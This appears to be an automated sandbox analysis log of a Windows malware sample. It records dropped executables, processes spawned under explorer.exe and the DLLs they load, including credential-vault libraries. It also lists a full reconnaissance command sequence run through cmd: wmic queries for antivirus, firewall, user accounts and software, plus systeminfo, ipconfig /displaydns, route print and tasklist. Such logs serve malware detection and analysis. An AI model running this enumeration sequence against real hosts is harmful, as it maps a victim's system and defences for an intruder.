Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /displaydns
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /v /fo csv
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\1D0F.exe C:\Users\user\AppData\Local\Temp\1D0F.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9245.exe C:\Users\user\AppData\Local\Temp\9245.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Process created: C:\Windows\System32\cmd.exe cmd	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /displaydns	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /v /fo csv	Jump to behavior

Source: C:\Users\user\Desktop\bCnarg2O62.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jfrhswe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jfrhswe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jfrhswe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jfrhswe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: winscard.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll
